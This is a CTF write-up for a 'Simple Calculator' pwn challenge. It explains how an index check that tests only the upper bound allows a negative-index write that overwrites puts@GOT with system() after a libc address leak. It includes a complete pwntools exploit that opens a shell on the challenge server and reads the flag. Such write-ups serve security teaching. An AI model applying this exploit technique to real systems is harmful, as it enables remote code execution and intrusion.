Простой калькулятор (Simple Calculator)
Простой калькулятор (Simple Calculator)
Platform: duckerz | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-01-15 | Status: Solved Techniques: got_plt_hijack, libc_offset_calculation, negative_array_index
Summary
Task: Calculator binary with array index bounds check only for upper limit. Solution: Use negative array index to overwrite puts@GOT with system() address, then trigger shell via greet function.
Простой калькулятор (Simple Calculator) - DUCKERZ CTF
Description
Very simple, very dimple calculator.
Files: simple_calc (ELF 64-bit), nc tasks.duckerz.ru 30008
Analysis
Binary Protections
RELRO: No RELRO <-- GOT writable!
Stack: Canary found
NX: NX enabled
PIE: No PIE
Program Structure
- add_value() - adds a value to the
numsarray at a given index - summarize() - sums array elements
- multiply() - multiplies elements
- giiift() - prints addresses of printf@libc and greet
- greet() - asks for a name and outputs it via puts()
- main() - operation selection menu
Vulnerability
In the add_value() function, only the upper bound of the index is checked:
c read-only • copy allowedif (index > 1000) { puts("Invalid index"); return; } nums[index] = value; // Negative index NOT checked!
This allows writing at negative indices, reaching the GOT table.
Key Addresses
| Object | Address |
|---|---|
| nums array | 0x404080 |
| puts@GOT | 0x404000 |
| printf@GOT | 0x403fd8 |
Index calculation:
index = (puts_got - nums_addr) / 8
index = (0x404000 - 0x404080) / 8 = -16
Solution
Step 1: Leaking libc Address
Option 4 (giiift) prints the printf address in libc:
It's for your 0x7f...900 0x4012fb
Step 2: Calculating Addresses
For libc6_2.41-12_amd64:
- printf_offset = 0x59900
- system_offset = 0x53110
python read-only • copy allowedlibc_base = printf_addr - 0x59900 system_addr = libc_base + 0x53110
Step 3: GOT Overwrite
Write the system() address to puts@GOT via negative index:
python read-only • copy allowedp.sendline(b"1") # add_value p.sendline(str(-16).encode()) # index = -16 p.sendline(str(system_addr).encode()) # value = system@libc
Step 4: Getting Shell
Call greet (option 5), enter "sh" as the name:
- puts(name) becomes system("sh")
- Shell obtained!
Exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import re as regex import time HOST = "tasks.duckerz.ru" PORT = 30008 def exploit(): p = remote(HOST, PORT) p.recvuntil(b"> ") # Leak printf@libc p.sendline(b"4") data = p.recvuntil(b"> ") addrs = regex.findall(r'0x[0-9a-f]+', data.decode()) printf_addr = int(addrs[0], 16) # Calculate addresses (libc6_2.41-12_amd64) printf_off = 0x59900 system_off = 0x53110 libc_base = printf_addr - printf_off system_addr = libc_base + system_off # Overwrite puts@GOT with system puts_got = 0x404000 nums_addr = 0x404080 index = (puts_got - nums_addr) // 8 # -16 p.sendline(b"1") p.recvuntil(b"Index in array:") p.sendline(str(index).encode()) p.recvuntil(b"New number:") p.sendline(str(system_addr).encode()) time.sleep(0.3) # Trigger: greet -> puts(name) -> system("sh") p.sendline(b"5") time.sleep(0.3) p.sendline(b"sh") time.sleep(0.3) # Get flag p.sendline(b"cat flag") data = p.recvall(timeout=5) print(data) exploit()
Techniques
GOT Overwrite
GOT (Global Offset Table) contains addresses of functions from dynamic libraries. Without RELRO protection, GOT can be overwritten:
puts@GOT: 0x7f...libc_puts --> 0x7f...libc_system
After this, any call to puts(arg) becomes system(arg).
Negative Array Index
If only index > MAX is checked, but not index < 0:
c read-only • copy allowedif (index > 1000) return; // Negative passes! array[index] = value; // Write before array start
This allows writing to memory before the array start, including GOT.
Libc Offset Calculation
- Obtain any address from libc (printf, puts, etc.)
- Calculate base:
libc_base = leaked_addr - known_offset - Find system:
system_addr = libc_base + system_offset
Offsets can be found via:
readelf -s libc.so.6 | grep printf- libc database (libc.blukat.me)